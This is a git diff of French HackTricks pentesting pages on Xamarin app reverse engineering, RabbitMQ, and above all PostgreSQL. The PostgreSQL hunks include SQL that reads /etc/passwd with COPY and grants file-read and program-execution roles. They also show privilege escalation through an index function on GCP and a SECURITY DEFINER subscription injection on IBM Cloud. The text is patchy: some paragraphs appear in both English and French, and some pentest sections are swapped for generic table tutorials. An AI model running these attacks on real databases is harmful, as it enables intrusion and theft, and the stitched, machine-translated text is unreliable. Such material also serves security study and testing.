* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Xamarin est une plateforme open-source qui donne aux développeurs accès à une
|
|||
|
||||
### Architecture Xamarin Android 
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarin offre des liaisons .NET vers les espaces de noms Android.\* et Java.\*. Les applications Xamarin Android fonctionnent sous l'environnement d'exécution Mono, avec la machine virtuelle Android Runtime (ART) qui s'exécute côte à côte.
|
||||
|
||||
|
@ -34,11 +34,11 @@ Il s'exécute avec le runtime Objective-C. Les environnements d'exécution s'ex
|
|||
|
||||
Le diagramme ci-dessous illustre cette architecture :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Qu'est-ce que le .Net Runtime et le framework Mono ?
|
||||
### Qu'est-ce que le .Net Runtime et le Mono Framework ?
|
||||
|
||||
**Le framework .Net est un ensemble d'assemblages, de classes et d'espaces de noms** que les développeurs peuvent utiliser pour créer des applications ; le .Net Runtime exécute le code compilé, et le processus s'appelle l'exécution de code géré. Le .NET Runtime offre plusieurs fonctionnalités qui garantissent l'indépendance de la plateforme et sont compatibles avec les anciennes versions du framework.
|
||||
**Le framework .Net est un ensemble d'assemblages, de classes et d'espaces de noms** que les développeurs peuvent utiliser pour créer des applications ; le .Net Runtime exécute le code compilé, et le processus est appelé exécution de code géré. Le .NET Runtime offre plusieurs fonctionnalités qui garantissent l'indépendance de la plateforme et sont compatibles avec les anciennes versions du framework.
|
||||
|
||||
**Le framework Mono** a été lancé en 2005 en tant qu'implémentation du framework .NET pour Linux (Ximian/SuSe/Novell). Sponsorisé par Microsoft et dirigé par Xamarin, Mono est l'implémentation open-source du framework .NET basée sur les normes ECMA pour Common Language Runtime et C#. 
|
||||
|
||||
|
@ -58,18 +58,18 @@ Pour ouvrir la fenêtre Modules, sélectionnez Déboguer > Fenêtres > Modules.
|
|||
|
||||
Ces deux options permettent de compiler le code Xamarin basé sur C# en une application, c'est-à-dire **la compilation juste à temps et la compilation en avance**. La méthode de compilation affecte la façon dont le code de l'application est distribué dans le fichier apk ou ipa. Jetons-y rapidement un coup d'œil ci-dessous :
|
||||
|
||||
\- **Android** : Xamarin vous permet de compiler en utilisant **à la fois les indicateurs JIT et AOT pour Android**. Il existe également un moyen d'obtenir le maximum de vitesse d'exécution en utilisant le mode Hybrid AOT. Notez que le mode Full AOT est disponible uniquement pour la licence Enterprise.
|
||||
\- **Android** : Xamarin vous permet de compiler en utilisant **à la fois les indicateurs JIT et AOT pour Android**. Il existe également un moyen d'obtenir le meilleur rendement d'exécution en utilisant le mode hybride AOT. Notez que le mode AOT complet est disponible uniquement pour la licence Enterprise.
|
||||
|
||||
\- **iOS** : Il n'y a qu'une seule option dans le cas d'iOS, **la compilation en avance**. Cela est dû aux politiques d'Apple qui interdisent l'exécution de code généré dynamiquement sur un appareil.
|
||||
|
||||
{% hint style="info" %}
|
||||
Si vous rencontrez une application compilée en Full AOT, et si les fichiers d'assembly IL sont supprimés pour réduire la taille de la construction par le développeur, la rétro-ingénierie nécessite une étape supplémentaire d'extraction des fichiers dll à partir des fichiers .dll.so du dossier lib ou du fichier `libmonodroid_bundle_app.so`. S'il s'agit d'une application compilée en Hybrid AOT et que les fichiers IL sont toujours conservés dans le bundle de l'application, nous pouvons les utiliser pour rétro-ingénier l'application.
|
||||
Si vous rencontrez une application compilée en AOT complet, et si les fichiers d'assembly IL sont supprimés pour réduire la taille de la construction par le développeur, la rétro-ingénierie nécessite une étape supplémentaire d'extraction des fichiers dll à partir des fichiers .dll.so du dossier lib ou du fichier `libmonodroid_bundle_app.so`. S'il s'agit d'une application compilée en AOT hybride, et que les fichiers IL sont toujours conservés dans le bundle de l'application, nous pouvons les utiliser pour rétro-ingénier l'application.
|
||||
{% endhint %}
|
||||
## Obtenir les fichiers dll à partir de l'APK/IPA
|
||||
|
||||
Il suffit de **dézipper le fichier apk/ipa** et de copier tous les fichiers présents dans le répertoire des assemblies :
|
||||
Il suffit de **dézipper le fichier apk/ipa** et de copier tous les fichiers présents dans le répertoire assemblies :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dans le cas des **APK Android, ces fichiers dll sont compressés** et ne peuvent pas être directement utilisés pour la décompilation. Heureusement, il existe des outils que nous pouvons utiliser pour **décompresser ces fichiers dll** comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
```
|
||||
|
@ -79,7 +79,7 @@ Dans le cas d'iOS, les fichiers DLL à l'intérieur des fichiers IPA peuvent êt
|
|||
|
||||
La plupart du code de l'application peut être trouvé lorsque nous décompilons les fichiers DLL. Notez également que les applications basées sur le framework Xamarin contiennent 90% de code commun dans les versions de toutes les plateformes telles que iOS et Android, etc.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
À partir de la capture d'écran ci-dessus de la liste des fichiers DLL présents dans l'APK, nous pouvons confirmer qu'il s'agit d'une application Xamarin. Elle contient des fichiers DLL spécifiques à l'application ainsi que des fichiers de bibliothèque nécessaires au fonctionnement de l'application, tels que `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -56,9 +56,9 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -66,10 +66,10 @@ Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -31,50 +31,60 @@ PORT STATE SERVICE
|
|||
```
|
||||
## Connexion et Enumération de base
|
||||
|
||||
To connect to a PostgreSQL database, you can use the `psql` command-line tool. The syntax is as follows:
|
||||
Pour effectuer une énumération de base sur un serveur PostgreSQL, vous devez d'abord vous connecter au serveur à l'aide d'un client PostgreSQL. Vous pouvez utiliser des outils tels que `psql` ou `pgAdmin` pour vous connecter.
|
||||
|
||||
### Connexion à l'aide de `psql`
|
||||
|
||||
Pour vous connecter à un serveur PostgreSQL à l'aide de `psql`, utilisez la commande suivante :
|
||||
|
||||
```bash
|
||||
psql -h <host> -p <port> -U <username> -d <database>
|
||||
psql -h <adresse_IP_serveur> -p <port> -U <utilisateur> -d <base_de_données>
|
||||
```
|
||||
|
||||
- `<host>`: The IP address or hostname of the target server.
|
||||
- `<port>`: The port number on which PostgreSQL is running (default is 5432).
|
||||
- `<username>`: The username to authenticate with.
|
||||
- `<database>`: The name of the database to connect to.
|
||||
Remplacez `<adresse_IP_serveur>` par l'adresse IP du serveur PostgreSQL, `<port>` par le port sur lequel le serveur écoute (par défaut : 5432), `<utilisateur>` par le nom d'utilisateur et `<base_de_données>` par le nom de la base de données à laquelle vous souhaitez vous connecter.
|
||||
|
||||
Once connected, you can start enumerating the database by running SQL queries. Here are some useful queries to gather information:
|
||||
### Connexion à l'aide de `pgAdmin`
|
||||
|
||||
Pour vous connecter à un serveur PostgreSQL à l'aide de `pgAdmin`, suivez les étapes suivantes :
|
||||
|
||||
1. Lancez `pgAdmin` et cliquez avec le bouton droit sur "Serveurs" dans le volet de gauche.
|
||||
2. Sélectionnez "Créer" > "Serveur".
|
||||
3. Dans l'onglet "Général", donnez un nom au serveur.
|
||||
4. Dans l'onglet "Connexion", saisissez les informations de connexion, y compris l'adresse IP du serveur, le port, le nom d'utilisateur et le mot de passe.
|
||||
5. Cliquez sur "Enregistrer" pour ajouter le serveur.
|
||||
6. Double-cliquez sur le serveur pour vous connecter.
|
||||
|
||||
Une fois connecté au serveur PostgreSQL, vous pouvez commencer à effectuer une énumération de base en utilisant des requêtes SQL pour récupérer des informations sur les bases de données, les tables, les colonnes, etc.
|
||||
|
||||
### Énumération de base
|
||||
|
||||
Voici quelques requêtes SQL courantes que vous pouvez utiliser pour effectuer une énumération de base :
|
||||
|
||||
- Pour afficher les bases de données disponibles :
|
||||
|
||||
- List all databases:
|
||||
```sql
|
||||
\l
|
||||
SELECT datname FROM pg_database;
|
||||
```
|
||||
|
||||
- Connect to a specific database:
|
||||
- Pour afficher les tables dans une base de données spécifique :
|
||||
|
||||
```sql
|
||||
\c <database>
|
||||
SELECT tablename FROM pg_tables WHERE schemaname = 'public';
|
||||
```
|
||||
|
||||
- List all tables in the current database:
|
||||
- Pour afficher les colonnes d'une table spécifique :
|
||||
|
||||
```sql
|
||||
\dt
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name = '<nom_table>';
|
||||
```
|
||||
|
||||
- Show the structure of a table:
|
||||
- Pour afficher les données d'une table spécifique :
|
||||
|
||||
```sql
|
||||
\d <table>
|
||||
SELECT * FROM <nom_table>;
|
||||
```
|
||||
|
||||
- Retrieve the first few rows from a table:
|
||||
```sql
|
||||
SELECT * FROM <table> LIMIT <limit>;
|
||||
```
|
||||
|
||||
- Show the columns of a table:
|
||||
```sql
|
||||
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = '<table>';
|
||||
```
|
||||
|
||||
Remember to replace `<database>` and `<table>` with the actual names of the database and table you want to interact with. These queries will help you gather valuable information about the database structure and contents, which can be useful for further exploitation.
|
||||
Ces requêtes vous aideront à obtenir une vue d'ensemble des bases de données, des tables et des colonnes disponibles sur le serveur PostgreSQL, ce qui peut être utile pour la phase de reconnaissance lors d'un test de pénétration.
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -224,7 +234,7 @@ DETAIL: FATAL: password authentication failed for user "name"
|
|||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
Malheureusement, il ne semble pas y avoir de moyen d'obtenir les détails de l'exception dans une fonction PL/pgSQL. Mais vous pouvez obtenir les détails si vous pouvez vous connecter directement au serveur PostgreSQL. S'il n'est pas possible d'obtenir les noms d'utilisateur et les mots de passe directement à partir des tables système, l'attaque par liste de mots décrite dans la section précédente pourrait être fructueuse.
|
||||
Malheureusement, il ne semble pas y avoir de moyen d'obtenir les détails de l'exception dans une fonction PL/pgSQL. Mais vous pouvez obtenir les détails si vous pouvez vous connecter directement au serveur PostgreSQL. S'il n'est pas possible d'obtenir les noms d'utilisateur et les mots de passe directement à partir des tables système, l'attaque par liste de mots décrite dans la section précédente pourrait être couronnée de succès.
|
||||
|
||||
## Énumération des privilèges
|
||||
|
||||
|
@ -299,39 +309,71 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
```
|
||||
### Tables
|
||||
|
||||
Les tables sont des objets de base de données qui stockent les données de manière organisée. Elles sont composées de colonnes et de lignes, où chaque colonne représente un attribut et chaque ligne représente un enregistrement.
|
||||
Les tables sont des objets fondamentaux dans PostgreSQL. Elles sont utilisées pour stocker et organiser les données de manière structurée. Chaque table est composée de colonnes et de lignes.
|
||||
|
||||
Lors de la pentest d'une base de données PostgreSQL, il est important d'analyser les tables pour identifier les informations sensibles et les vulnérabilités potentielles. Voici quelques techniques couramment utilisées :
|
||||
#### Création de tables
|
||||
|
||||
#### 1. Enumération des tables
|
||||
|
||||
L'objectif de cette technique est d'obtenir la liste complète des tables présentes dans la base de données. Cela peut être réalisé en utilisant des requêtes SQL spécifiques, telles que :
|
||||
Pour créer une table, vous pouvez utiliser la commande `CREATE TABLE`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
|
||||
CREATE TABLE nom_table (
|
||||
nom_colonne1 type_colonne1,
|
||||
nom_colonne2 type_colonne2,
|
||||
...
|
||||
);
|
||||
```
|
||||
|
||||
#### 2. Extraction des données
|
||||
Remplacez `nom_table` par le nom de votre table, `nom_colonne` par le nom de chaque colonne et `type_colonne` par le type de données de chaque colonne.
|
||||
|
||||
Une fois que les tables ont été identifiées, il est possible d'extraire les données qu'elles contiennent. Cela peut être fait en utilisant des requêtes SQL pour sélectionner les colonnes et les enregistrements souhaités. Par exemple :
|
||||
#### Suppression de tables
|
||||
|
||||
Pour supprimer une table, vous pouvez utiliser la commande `DROP TABLE`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT * FROM users;
|
||||
DROP TABLE nom_table;
|
||||
```
|
||||
|
||||
#### 3. Injection SQL
|
||||
Remplacez `nom_table` par le nom de la table que vous souhaitez supprimer.
|
||||
|
||||
Si une application web est connectée à la base de données PostgreSQL, il est possible d'exploiter des vulnérabilités d'injection SQL pour extraire des données ou effectuer des actions non autorisées. Cela peut être réalisé en manipulant les requêtes SQL envoyées à la base de données.
|
||||
#### Modification de tables
|
||||
|
||||
#### 4. Vérification des autorisations
|
||||
Pour modifier une table existante, vous pouvez utiliser la commande `ALTER TABLE`. Voici quelques exemples de modifications courantes :
|
||||
|
||||
Il est important de vérifier les autorisations accordées aux utilisateurs et aux rôles de la base de données. Cela permet d'identifier les éventuelles vulnérabilités liées à des autorisations excessives ou à des erreurs de configuration.
|
||||
- Ajouter une colonne :
|
||||
|
||||
#### 5. Recherche de fuites d'informations
|
||||
```sql
|
||||
ALTER TABLE nom_table ADD COLUMN nom_colonne type_colonne;
|
||||
```
|
||||
|
||||
Il est également essentiel de rechercher des fuites d'informations sensibles dans les tables de la base de données. Cela peut inclure des mots de passe stockés en clair, des informations d'identification, des données personnelles, etc.
|
||||
- Supprimer une colonne :
|
||||
|
||||
En résumé, l'analyse des tables lors d'une pentest PostgreSQL est une étape cruciale pour identifier les vulnérabilités et les informations sensibles. Il est important de comprendre les techniques d'enumération, d'extraction de données, d'injection SQL, de vérification des autorisations et de recherche de fuites d'informations.
|
||||
```sql
|
||||
ALTER TABLE nom_table DROP COLUMN nom_colonne;
|
||||
```
|
||||
|
||||
- Modifier le type de données d'une colonne :
|
||||
|
||||
```sql
|
||||
ALTER TABLE nom_table ALTER COLUMN nom_colonne TYPE nouveau_type_colonne;
|
||||
```
|
||||
|
||||
Remplacez `nom_table` par le nom de la table que vous souhaitez modifier, `nom_colonne` par le nom de la colonne concernée et `nouveau_type_colonne` par le nouveau type de données.
|
||||
|
||||
#### Consultation des tables
|
||||
|
||||
Pour consulter les tables existantes dans une base de données, vous pouvez utiliser la commande `SELECT` avec la clause `FROM`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT table_name
|
||||
FROM information_schema.tables
|
||||
WHERE table_schema = 'public';
|
||||
```
|
||||
|
||||
Cette requête renverra le nom de toutes les tables présentes dans le schéma public de la base de données.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Les tables sont des éléments essentiels dans PostgreSQL pour stocker et organiser les données. Vous pouvez les créer, les modifier et les supprimer à l'aide des commandes appropriées. Utilisez la commande `SELECT` pour consulter les tables existantes dans une base de données.
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -349,53 +391,31 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
|
||||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be written in various programming languages such as SQL, PL/pgSQL, Python, etc.
|
||||
|
||||
#### Creating Functions
|
||||
Les fonctions dans PostgreSQL sont des blocs de code nommés qui peuvent être exécutés en appelant leur nom. Elles sont utilisées pour effectuer des tâches spécifiques et peuvent accepter des paramètres et renvoyer des valeurs. Les fonctions peuvent être créées à l'aide de l'instruction `CREATE FUNCTION` et peuvent être écrites dans différents langages de programmation tels que SQL, PL/pgSQL, Python, etc.
|
||||
|
||||
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters (if any), return type, and the code block enclosed in a `BEGIN` and `END` block. Here is the syntax:
|
||||
### Stored Procedures
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION function_name (parameter1 datatype, parameter2 datatype, ...)
|
||||
RETURNS return_type
|
||||
LANGUAGE language_name
|
||||
AS $$
|
||||
-- Function code goes here
|
||||
$$;
|
||||
```
|
||||
Stored procedures are similar to functions, but they do not return a value. They are used to perform a series of actions or operations on the database. Stored procedures can be created using the `CREATE PROCEDURE` statement and can also be written in various programming languages.
|
||||
|
||||
#### Example
|
||||
Les procédures stockées sont similaires aux fonctions, mais elles ne renvoient pas de valeur. Elles sont utilisées pour effectuer une série d'actions ou d'opérations sur la base de données. Les procédures stockées peuvent être créées à l'aide de l'instruction `CREATE PROCEDURE` et peuvent également être écrites dans différents langages de programmation.
|
||||
|
||||
Let's create a simple function that calculates the sum of two numbers:
|
||||
### Triggers
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION sum_numbers (num1 integer, num2 integer)
|
||||
RETURNS integer
|
||||
LANGUAGE plpgsql
|
||||
AS $$
|
||||
BEGIN
|
||||
RETURN num1 + num2;
|
||||
END;
|
||||
$$;
|
||||
```
|
||||
Triggers are special types of functions that are automatically executed when a specific event occurs in the database. They can be used to enforce data integrity, perform auditing, or automate certain tasks. Triggers can be created using the `CREATE TRIGGER` statement and are associated with a specific table or view.
|
||||
|
||||
#### Calling Functions
|
||||
Les déclencheurs sont des types spéciaux de fonctions qui sont automatiquement exécutées lorsqu'un événement spécifique se produit dans la base de données. Ils peuvent être utilisés pour garantir l'intégrité des données, effectuer des audits ou automatiser certaines tâches. Les déclencheurs peuvent être créés à l'aide de l'instruction `CREATE TRIGGER` et sont associés à une table ou une vue spécifique.
|
||||
|
||||
Once a function is created, you can call it by using its name followed by the input parameters (if any). Here is the syntax:
|
||||
### Views
|
||||
|
||||
```sql
|
||||
SELECT function_name(parameter1, parameter2, ...);
|
||||
```
|
||||
Views are virtual tables that are based on the result of a query. They provide a way to simplify complex queries and encapsulate logic. Views can be created using the `CREATE VIEW` statement and can be used like regular tables in queries.
|
||||
|
||||
Using our previous example, we can call the `sum_numbers` function like this:
|
||||
Les vues sont des tables virtuelles basées sur le résultat d'une requête. Elles permettent de simplifier les requêtes complexes et d'encapsuler la logique. Les vues peuvent être créées à l'aide de l'instruction `CREATE VIEW` et peuvent être utilisées comme des tables normales dans les requêtes.
|
||||
|
||||
```sql
|
||||
SELECT sum_numbers(5, 10);
|
||||
```
|
||||
### Conclusion
|
||||
|
||||
This will return the sum of 5 and 10, which is 15.
|
||||
Understanding functions, stored procedures, triggers, and views is essential for effective PostgreSQL database management and development. These database objects provide powerful capabilities for organizing and manipulating data, and can greatly enhance the functionality and efficiency of your applications.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. By creating functions, you can simplify complex operations and make your code more modular and maintainable.
|
||||
Comprendre les fonctions, les procédures stockées, les déclencheurs et les vues est essentiel pour une gestion et un développement efficaces de la base de données PostgreSQL. Ces objets de base de données offrent des fonctionnalités puissantes pour organiser et manipuler les données, et peuvent grandement améliorer la fonctionnalité et l'efficacité de vos applications.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -427,7 +447,7 @@ COPY demo from '/etc/passwd';
|
|||
SELECT * FROM demo;
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe** :
|
||||
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe :**
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
@ -521,7 +541,7 @@ N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez le
|
|||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
[**Plus d'informations.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
[**Plus d'informations.**](pentesting-postgresql.md#escalade-de-privileges-avec-createrole)
|
||||
{% endhint %}
|
||||
|
||||
Ou utilisez le module `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
|
||||
|
@ -634,7 +654,7 @@ Dans [ce **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem
|
|||
|
||||
Lorsque vous essayez de **donner la propriété d'une table à un autre utilisateur**, vous devriez obtenir une **erreur** qui l'empêche, mais apparemment GCP a donné cette **option à l'utilisateur postgres non-superutilisateur** dans GCP :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En associant cette idée au fait que lorsque les commandes **INSERT/UPDATE/ANALYZE** sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** en tant que partie de la commande avec les **permissions du propriétaire de la table**. Il est possible de créer un index avec une fonction et de donner les permissions de propriétaire à un **superutilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.
|
||||
```c
|
||||
|
@ -710,7 +730,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Fonction définie par l'utilisateur avec** SECURITY DEFINER
|
||||
|
||||
Dans [**cet article**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), des pentesteurs ont réussi à obtenir des privilèges élevés à l'intérieur d'une instance PostgreSQL fournie par IBM, car ils ont **trouvé cette fonction avec le drapeau SECURITY DEFINER** :
|
||||
Dans [**ce compte rendu**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), les testeurs d'intrusion ont réussi à obtenir des privilèges élevés à l'intérieur d'une instance PostgreSQL fournie par IBM, car ils ont **trouvé cette fonction avec le drapeau SECURITY DEFINER** :
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -739,7 +759,7 @@ CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
|||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
Et ensuite **exécutez des commandes**:
|
||||
Et ensuite **exécutez des commandes** :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -791,14 +811,14 @@ L'authentification du client est contrôlée par un fichier de configuration fr
|
|||
![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)
|
||||
|
||||
**Chaque** enregistrement **spécifie** un **type de connexion**, une **plage d'adresses IP client** (si cela est pertinent pour le type de connexion), un **nom de base de données**, un **nom d'utilisateur** et la **méthode d'authentification** à utiliser pour les connexions correspondant à ces paramètres. Le **premier enregistrement correspondant** avec un type de connexion, une adresse client, une base de données demandée et un nom d'utilisateur **est utilisé** pour effectuer l'authentification. Il n'y a pas de "passage" ou de "sauvegarde" : **si un enregistrement est choisi et que l'authentification échoue, les enregistrements suivants ne sont pas pris en compte**. Si aucun enregistrement ne correspond, l'accès est refusé.\
|
||||
Les méthodes d'authentification basées sur le mot de passe sont **md5**, **crypt** et **password**. Ces méthodes fonctionnent de manière similaire, à l'exception de la manière dont le mot de passe est envoyé via la connexion : respectivement, haché en MD5, chiffré en crypt et en texte clair. Une limitation est que la méthode crypt ne fonctionne pas avec les mots de passe qui ont été chiffrés dans pg\_authid.
|
||||
Les méthodes d'authentification basées sur le mot de passe sont **md5**, **crypt** et **password**. Ces méthodes fonctionnent de manière similaire, à l'exception de la manière dont le mot de passe est envoyé via la connexion : respectivement, haché en MD5, crypté en crypt et en texte clair. Une limitation est que la méthode crypt ne fonctionne pas avec les mots de passe qui ont été cryptés dans pg\_authid.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
